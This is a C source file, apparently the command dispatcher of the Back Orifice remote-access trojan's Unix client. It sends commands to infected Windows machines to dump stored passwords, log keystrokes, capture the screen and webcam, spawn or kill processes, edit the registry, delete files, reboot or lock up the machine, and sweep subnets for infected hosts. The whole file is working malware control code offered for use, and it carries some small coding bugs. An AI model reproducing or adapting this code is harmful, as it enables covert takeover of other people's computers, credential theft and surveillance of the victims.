#include "config.h" #include "bounix.h" extern int udpsock; extern int port; extern unsigned long host; extern char cwd[MAX_PATH]; extern char g_password[ARGSIZE]; void printhelp(void) { printf("\ Back Orifice Client v%s help: (Type help command for more help)\n\ BO commands:\n \ host ping pinglist status passwd quit sweep sweeplist\n\ File commands: \n\ dir del copy ren find freeze melt view tcpsend tcprecv\n\ Directory commands: \n\ cd rd md\n\ System commands: \n\ info passes dialog keylog reboot httpon httpoff lockup\n\ Network commands: \n\ netview netconnect netdisconnect netlist resolve sharelist shareadd sharedel\n\ Plugin commands: \n\ pluginexec pluginkill pluginlist\n\ Process commands: \n\ proclist prockill procspawn\n\ Registry commands: \n\ regmakekey regdelkey regdelval reglistkeys reglistvals regsetval\n\ Multimedia commands: \n\ listcaps capframe capavi capscreen sound \n\ Redir commands:\n\ redirlist rediradd redirdel\n\ Console application commands: \n\ applist appadd appdel\n\ ", VERSIONSTR); } int executecommand(char *command, char *arg1, char *arg2) { unsigned long dest; int x; char buff[BUFFSIZE]; char buff2[BUFFSIZE]; char str[46]; /* you figure it out */ struct in_addr hostin; struct hostent *hptr; unsigned char *ptr; FILE *file; if (strcasecmp(command, "HELP" ) == 0 || strcmp(command, "?") == 0 ) { if (!strlen(arg1) ) printhelp(); else givehelpcommand(arg1); } else if (strcasecmp(command, "QUIT") == 0) { close(udpsock); exit(0); } else if (strcasecmp(command, "HOST") == 0 ) { /* Is it a hostname or a valid address? */ if((host=inet_addr(arg1))==(unsigned long)-1) { /* Ain't an address, assuming hostname */ if((hptr=gethostbyname(arg1))==NULL) { host = 0; hostin.s_addr = host; printf("resolver said: eat me.\n"); return(1); } printf("official hostname: %s address: %s\n", hptr->h_name, inet_ntoa(*(struct in_addr *)hptr->h_addr_list[0])); if ( (host = *(unsigned long *)hptr->h_addr_list[0]) == (unsigned long)-1) { host = 0; hostin.s_addr = host; printf("resolver returned bogus IP address!\n"); return(1); } } if ((x = atoi(arg2))) port = x; hostin.s_addr = host; printf("New host: %s:%d\n", inet_ntoa(hostin), port ); } else if (strcasecmp(command, "PING") == 0) { if (!sendpacket(TYPE_PING, "","", host, port, udpsock)) return(getinput(udpsock)); else return(1); } else if (strcasecmp(command, "STATUS") == 0) { hostin.s_addr = host; printf("Current Back Orifice Console Client status:\n Host: %s port %d\n", inet_ntoa(hostin), port ); printf(" Remote dir: %s\n", cwd); } else if (strcasecmp(command, "DIR") == 0) { if (arg1[0] == 0) sprintf(buff, "%s*", cwd); else { if (arg1[0] == '\\') { strncpy(buff, cwd, 3); strcpy(buff+3, arg1); } else if (strncmp(arg1+1, ":\\", 2) == 0 ){ strcpy(buff, arg1); } else { strcpy(buff, cwd); strcat(buff, arg1); } x = strlen(buff); if (buff[x-1] == '\\'); strcat(buff, "*"); } if (!sendpacket(TYPE_DIRECTORYLIST, buff,"", host, port, udpsock)) return(getinput(udpsock)); else return(1); } else if (strcasecmp(command, "CD") == 0) { if (arg1[0] == 0) { puts("Must supply directory name"); return(1); } strcpy(cwd, arg1); x = strlen(cwd); if (cwd[x-1] != '\\'); strcat(cwd, "\\"); printf("New directory on host is %s\n", cwd); } else if (strcasecmp(command, "DEL") == 0) { if (arg1[0] == 0) { puts("Must supply filename"); return(1); } fixfilename(buff, cwd, arg1); if (!sendpacket(TYPE_FILEDELETE, buff,"", host, port, udpsock)) return(getinput(udpsock)); else return(1); } else if (strcasecmp(command, "COPY") == 0) { if (arg1[0] == 0) { puts("Must supply filename"); return (1); } fixfilename(buff, cwd, arg1); if (arg2[0] == 0) { ptr = strrchr(buff, '\\'); ptr++; sprintf(buff2, "%s%s", cwd, ptr); } else { fixfilename(buff2, cwd, arg2); } if (!sendpacket(TYPE_FILECOPY, buff,buff2, host, port, udpsock)) return(getinput(udpsock)); else return(1); } else if (strcasecmp(command, "FIND") == 0) { if ( (arg1[0] == 0) || (arg2[0] == 0) ) { puts("Must supply file & pathname"); return (1); } if (!sendpacket(TYPE_FILEFIND, arg1,arg2, host, port, udpsock)) return(getinput(udpsock)); else return(1); } else if (strcasecmp(command, "FREEZE") == 0) { if (arg1[0] == 0 || arg2[0] == 0) { puts("Must supply source and destination filenames"); return(1); } fixfilename(buff, cwd, arg1); fixfilename(buff2, cwd, arg2); if (!sendpacket(TYPE_FILEFREEZE, buff,buff2, host, port, udpsock)) return(getinput(udpsock)); else return(1); } else if (strcasecmp(command, "MELT") == 0) { if (arg1[0] == 0 || arg2[0] == 0) { puts("Must supply source and destination filenames"); return(1); } fixfilename(buff, cwd, arg1); fixfilename(buff2, cwd, arg2); if (!sendpacket(TYPE_FILEMELT, buff,buff2, host, port, udpsock)) return(getinput(udpsock)); else return(1); } else if (strcasecmp(command, "VIEW") == 0) { if (arg1[0] == 0) { puts("Must supply filename"); return(1); } fixfilename(buff, cwd, arg1); if (!sendpacket(TYPE_FILEVIEW, buff,"", host, port, udpsock)) return(getinput(udpsock)); else return(1); } else if (strcasecmp(command, "MD") == 0) { if (arg1[0] == 0) { puts("Must supply directory name"); return(1); } fixfilename(buff, cwd, arg1); if (!sendpacket(TYPE_DIRECTORYMAKE, buff, "", host, port, udpsock)) return(getinput(udpsock)); else return(1); } else if (strcasecmp(command, "RD") == 0) { if (arg1[0] == 0) { puts("Must supply directory name"); return(1); } fixfilename(buff, cwd, arg1); if (!sendpacket(TYPE_DIRECTORYDELETE, buff, "", host, port, udpsock)) return(getinput(udpsock)); else return(1); } else if (strcasecmp(command, "INFO") == 0) { if (!sendpacket(TYPE_SYSINFO, "","", host, port, udpsock)) return(getinput(udpsock)); else return(1); } else if (strcasecmp(command, "PASSES") == 0) { if (!sendpacket(TYPE_SYSLISTPASSWORDS, "","", host, port, udpsock)) return(getinput(udpsock)); else return(1); } else if (strcasecmp(command, "DIALOG") == 0) { if ( (arg1[0] == 0) || (arg2[0] == 0)) { puts("Must supply dialog box text and title"); return(1); } if (!sendpacket(TYPE_SYSDIALOGBOX, arg1,arg2, host, port, udpsock)) return(getinput(udpsock)); else return(1); } else if (strcasecmp(command, "NETVIEW") == 0) { if (!sendpacket(TYPE_NETVIEW, "","", host, port, udpsock)) return(getinput(udpsock)); else return(1); } else if (strcasecmp(command, "NETLIST") == 0) { if (!sendpacket(TYPE_NETCONNECTIONS, "","", host, port, udpsock)) return(getinput(udpsock)); else return(1); } else if (strcasecmp(command, "NETCONNECT") == 0) { if (arg1[0] == 0) { puts("Must supply resource name"); return(1); } if (!sendpacket(TYPE_NETUSE, arg1, arg2, host, port, udpsock)) return(getinput(udpsock)); else return(1); } else if (strcasecmp(command, "NETDISCONNECT") == 0) { if (arg1[0] == 0) { puts("Must supply resource name"); return(1); } if (!sendpacket(TYPE_NETDELETE, arg1, "", host, port, udpsock)) return(getinput(udpsock)); else return(1); } else if (strcasecmp(command, "PROCLIST") == 0) { if (!sendpacket(TYPE_PROCESSLIST, "","", host, port, udpsock)) return(getinput(udpsock)); else return(1); } else if (strcasecmp(command, "PROCKILL") == 0) { if (!sendpacket(TYPE_PROCESSKILL, arg1,"", host, port, udpsock)) return(getinput(udpsock)); else return(1); } else if (strcasecmp(command, "PROCSPAWN") == 0) { if (arg1[0] == 0) { puts("Must supply at least application name"); return(1); } sprintf(buff, "%s %s", arg1, arg2); if (!sendpacket(TYPE_PROCESSSPAWN, buff,"", host, port, udpsock)) return(getinput(udpsock)); else return(1); } else if (strcasecmp(command, "PASSWD") == 0) { if (arg1[0] == 0) { g_password[0] = 0; printf("Password removed.\n"); } else { strcpy(g_password, arg1); printf("New encryption password set to '%s'\n", g_password); } } else if (strcasecmp(command, "REN") == 0) { if (arg1[0] == 0) { puts("Must supply filename"); return(1); } else { fixfilename(buff, cwd, arg1); if (arg2[0] == 0) { ptr = strrchr(buff, '\\'); ptr++; sprintf(buff2, "%s%s", cwd, ptr); } else { fixfilename(buff2, cwd, arg2); } if (!sendpacket(TYPE_FILERENAME, buff,buff2, host, port, udpsock)) return(getinput(udpsock)); else return(1); } } else if (strcasecmp(command, "RESOLVE") == 0) { if (arg1[0] == 0) { puts("Must supply hostname"); return(1); } if (!sendpacket(TYPE_RESOLVEHOST, arg1, "", host, port, udpsock)) return(getinput(udpsock)); else return(1); } else if (strcasecmp(command, "SHARELIST") == 0) { if (!sendpacket(TYPE_NETEXPORTLIST, "","", host, port, udpsock)) return(getinput(udpsock)); else return(1); } else if (strcasecmp(command, "SHAREADD") == 0) { if (arg1[0] == 0 || arg2[0] == 0) { puts("Must supply share name and path"); return(1); } if (!sendpacket(TYPE_NETEXPORTADD, arg1,arg2, host, port, udpsock)) return(getinput(udpsock)); else return(1); } else if (strcasecmp(command, "SHAREDEL") == 0) { if (arg1[0] == 0) { puts("Must supply share name"); return(1); } if (!sendpacket(TYPE_NETEXPORTDELETE, arg1,"", host, port, udpsock)) return(getinput(udpsock)); else return(1); } else if (strcasecmp(command, "KEYLOG") == 0) { if (arg1[0] == 0) { puts("Must supply log filename"); return(1); } if (strcasecmp(arg1, "STOP") == 0) { if (!sendpacket(TYPE_SYSENDKEYLOG, "","", host, port, udpsock)) return(getinput(udpsock)); else return(1); } else { if (!sendpacket(TYPE_SYSLOGKEYS, arg1,"", host, port, udpsock)) return(getinput(udpsock)); else return(1); } } else if (strcasecmp(command, "REGMAKEKEY") == 0) { if (arg1[0] == 0) { puts("Must supply key name"); return(1); } if (!sendpacket(TYPE_REGISTRYCREATEKEY, arg1, "", host, port ,udpsock)) return(getinput(udpsock)); else return(1); } else if (strcasecmp(command, "REGDELKEY") == 0) { if (arg1[0] == 0) { puts("Must supply key name"); return(1); } if (!sendpacket(TYPE_REGISTRYDELETEKEY, arg1, "", host, port ,udpsock)) return(getinput(udpsock)); else return(1); } else if (strcasecmp(command, "REGDELVAL") == 0) { if (arg1[0] == 0) { puts("Must supply value name"); return(1); } if (!sendpacket(TYPE_REGISTRYDELETEVALUE, arg1, "", host, port ,udpsock)) return(getinput(udpsock)); else return(1); } else if (strcasecmp(command, "REGLISTKEYS") == 0) { if (arg1[0] == 0) { puts("Must supply key name"); return(1); } if (!sendpacket(TYPE_REGISTRYENUMKEYS, arg1, "", host, port ,udpsock)) return(getinput(udpsock)); else return(1); } else if (strcasecmp(command, "REGLISTVALS") == 0) { if (arg1[0] == 0) { puts("Must supply key name"); return(1); } if (!sendpacket(TYPE_REGISTRYENUMVALS, arg1, "", host, port ,udpsock)) return(getinput(udpsock)); else return(1); } else if (strcasecmp(command, "REGSETVAL") == 0) { if (arg1[0] == 0 || arg2[0] == 0) { puts("Must supply value name and data"); return(1); } if (!sendpacket(TYPE_REGISTRYSETVALUE, arg1, arg2, host, port ,udpsock)) return(getinput(udpsock)); else return(1); } else if (strcasecmp(command, "LISTCAPS") == 0) { if (!sendpacket(TYPE_MMLISTCAPS, "", "", host, port ,udpsock)) return(getinput(udpsock)); else return(1); } else if (strcasecmp(command, "CAPFRAME") == 0) { if (arg1[0] == 0) { puts("Must supply bitmap filename"); return(1); } if (!sendpacket(TYPE_MMCAPFRAME, arg1, arg2, host, port, udpsock)) return(getinput(udpsock)); else return(1); } else if (strcasecmp(command, "CAPAVI") == 0) { if (arg1[0] == 0 || atoi(arg2) == 0) { puts("Must supply avi filename and number of seconds"); return(1); } if (!sendpacket(TYPE_MMCAPAVI, arg1, arg2, host, port, udpsock)) return(getinput(udpsock)); else return(1); } else if (strcasecmp(command, "CAPSCREEN") == 0) { if (arg1[0] == 0) { puts("Must supply bitmap filename"); return(1); } if (!sendpacket(TYPE_MMCAPSCREEN, arg1, "", host, port, udpsock)) return(getinput(udpsock)); else return(1); } else if (strcasecmp(command, "SOUND") == 0) { if (arg1[0] == 0) { puts("Must supply wav filename"); return(1); } if (!sendpacket(TYPE_MMPLAYSOUND, arg1, "", host, port, udpsock)) return(getinput(udpsock)); else return(1); } else if (strcasecmp(command, "REDIRLIST") == 0) { if (!sendpacket(TYPE_REDIRLIST, "", "", host, port, udpsock)) return(getinput(udpsock)); else return(1); } else if (strcasecmp(command, "REDIRADD") == 0) { if (arg1[0] == 0 || arg2[0] == 0) { puts("Must supply input port and destination IP"); return(1); } if (!sendpacket(TYPE_REDIRADD, arg1, arg2, host, port, udpsock)) return(getinput(udpsock)); else return(1); } else if (strcasecmp(command, "REDIRDEL") == 0) { if (arg1[0] == 0) { puts("Must supply redir id"); return(1); } if (!sendpacket(TYPE_REDIRDEL, arg1, "", host, port, udpsock)) return(getinput(udpsock)); else return(1); } else if (strcasecmp(command, "APPLIST") == 0) { if (!sendpacket(TYPE_APPLIST, "", "", host, port, udpsock)) return(getinput(udpsock)); else return(1); } else if (strcasecmp(command, "APPADD") == 0) { if (arg1[0] == 0 || arg2[0] == 0) { puts("Must supply exe name and input port"); return(1); } if (!sendpacket(TYPE_APPADD, arg1, arg2, host, port, udpsock)) return(getinput(udpsock)); else return(1); } else if (strcasecmp(command, "APPDEL") == 0) { if (arg1[0] == 0) { puts("Must supply app id"); return(1); } if (!sendpacket(TYPE_APPDEL, arg1, "", host, port, udpsock)) return(getinput(udpsock)); else return(1); } else if (strcasecmp(command, "HTTPON") == 0) { if (atoi(arg1) == 0) { puts("Must supply port"); return(1); } if (!sendpacket(TYPE_HTTPENABLE, arg1, arg2, host, port, udpsock)) return(getinput(udpsock)); else return(1); } else if (strcasecmp(command, "HTTPOFF") == 0) { if (!sendpacket(TYPE_HTTPDISABLE, "", "", host, port, udpsock)) return(getinput(udpsock)); else return(1); } else if (strcasecmp(command, "SWEEP") == 0) { if (!strlen(arg1)) { puts("Must supply subnet"); return(1); } return(pingsweepsubnet(arg1, udpsock, port)); } else if (strcasecmp(command, "SWEEPLIST") == 0) { if (!strlen(arg1) ) { puts("Must supply list filename"); return(1); } if ( (file = fopen(arg1, "rt")) == NULL ) { perror("fopen"); return(1); } while (fgets(buff, BUFFSIZE, file) != NULL) { if(buff[strlen(buff)-1]=='\n') buff[strlen(buff)-1]='\0'; if (pingsweepsubnet(buff, udpsock, port)) printf("Sweep of %s failed\n", buff); } if(fclose(file) == EOF) { perror("fclose"); return(1); } printf("Full sweep ended.\n"); return(0); } else if (strcasecmp(command, "PINGLIST") == 0) { if (!strlen(arg1) ) { puts("Must supply list filename"); return(1); } if ( (file = fopen(arg1, "rt")) == NULL) { perror("fopen"); return(1); } while (fgets(buff, BUFFSIZE, file) != NULL) { if(buff[strlen(buff)-1]=='\n') buff[strlen(buff)-1]='\0'; if ( (dest = inet_addr(buff)) == (unsigned long)-1) printf("Bad IP: '%s'\n", buff); else { int s; hostin.s_addr = dest; printf("Pinging %s\n", inet_ntoa(hostin)); s=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP); if (sendping(dest, port, s)) { printf("Sendping failed for dest %s\n", inet_ntoa(hostin)); continue; } sleep(SWEEPDELAY); getpong(s); close(s); } } if (fclose(file)==EOF) { perror("fclose"); return(1); } printf("Pinging ended.\n"); return(0); } else if (strcasecmp(command, "REBOOT") == 0) { if (!sendpacket(TYPE_SYSREBOOT, "","", host, port, udpsock)) return(getinput(udpsock)); else return(1); } else if (strcasecmp(command, "TCPSEND") == 0) { if (!sendpacket(TYPE_TCPFILESEND, arg1, arg2, host, port, udpsock)) return(getinput(udpsock)); else return(1); } else if (strcasecmp(command, "TCPRECV") == 0) { if (!sendpacket(TYPE_TCPFILERECEIVE, arg1, arg2, host, port, udpsock)) return(getinput(udpsock)); else return(1); } else if (strcasecmp(command, "LOCKUP") == 0) { if (!sendpacket(TYPE_SYSLOCKUP, "", "", host, port, udpsock)) return(getinput(udpsock)); else return(1); } else if (strcasecmp(command, "PLUGINEXEC") == 0) { if (!sendpacket(TYPE_PLUGINEXECUTE, arg1, arg2, host, port, udpsock)) return(getinput(udpsock)); else return(1); } else if (strcasecmp(command, "PLUGINKILL") == 0) { if (!sendpacket(TYPE_PLUGINKILL, arg1, "", host, port, udpsock)) return(getinput(udpsock)); else return(1); } else if (strcasecmp(command, "PLUGINLIST") == 0) { if (!sendpacket(TYPE_PLUGINLIST, "", "", host, port, udpsock)) return(getinput(udpsock)); else return(1); } else { if (strlen(command) ) printf("Unknown command: '%s' (Type 'help' for assistance)\n", command); return(1); } return(0); /* assume success */ } int pingsweepsubnet(char *arg1, int udpsock, int port) { int dest; char subnet[16]; char ipaddr[16]; char socks[255]; int x,y; /* Find third octet and truncate */ strncpy(subnet,arg1,15); x=0; while((x<15) && (subnet[x]!='.')) x++; x++; while((x<15) && (subnet[x]!='.')) x++; x++; while((x<15) && isdigit(subnet[x])) x++; subnet[x]='\0'; strcpy(ipaddr,subnet); strcat(ipaddr,".255"); if ( inet_addr(ipaddr) == (unsigned long)-1 ) { printf("Bad IP subnet: '%s'\n", arg1); return(1); } printf("Sweeping subnet %s.*...\n", subnet); for(y=0;y<7;y++) { printf(" %s.%d -- %s.%d\n",subnet,(y*32)+1,subnet,(y*32)+32); for(x=0;x<32;x++) { sprintf(ipaddr,"%s.%d",subnet,x+1+(y*32)); socks[x]=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP); if(sendping(inet_addr(ipaddr), port, socks[x])) { printf("Sendping failed for dest %s\n", ipaddr); } } sleep(SWEEPDELAY); for (x = 0; x < 32; x++) { getpong(socks[x]); close(socks[x]); } } printf(" %s.225 -- %s.254\n",subnet,subnet); for(x=225;x<255;x++) { sprintf(ipaddr,"%s.%d",subnet,x); socks[x]=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP); if(sendping(inet_addr(ipaddr), port, socks[x])) { printf("Sendping failed for dest %s\n", ipaddr); } } sleep(SWEEPDELAY); for (x = 225; x < 255; x++) { getpong(socks[x]); close(socks[x]); } return(0); }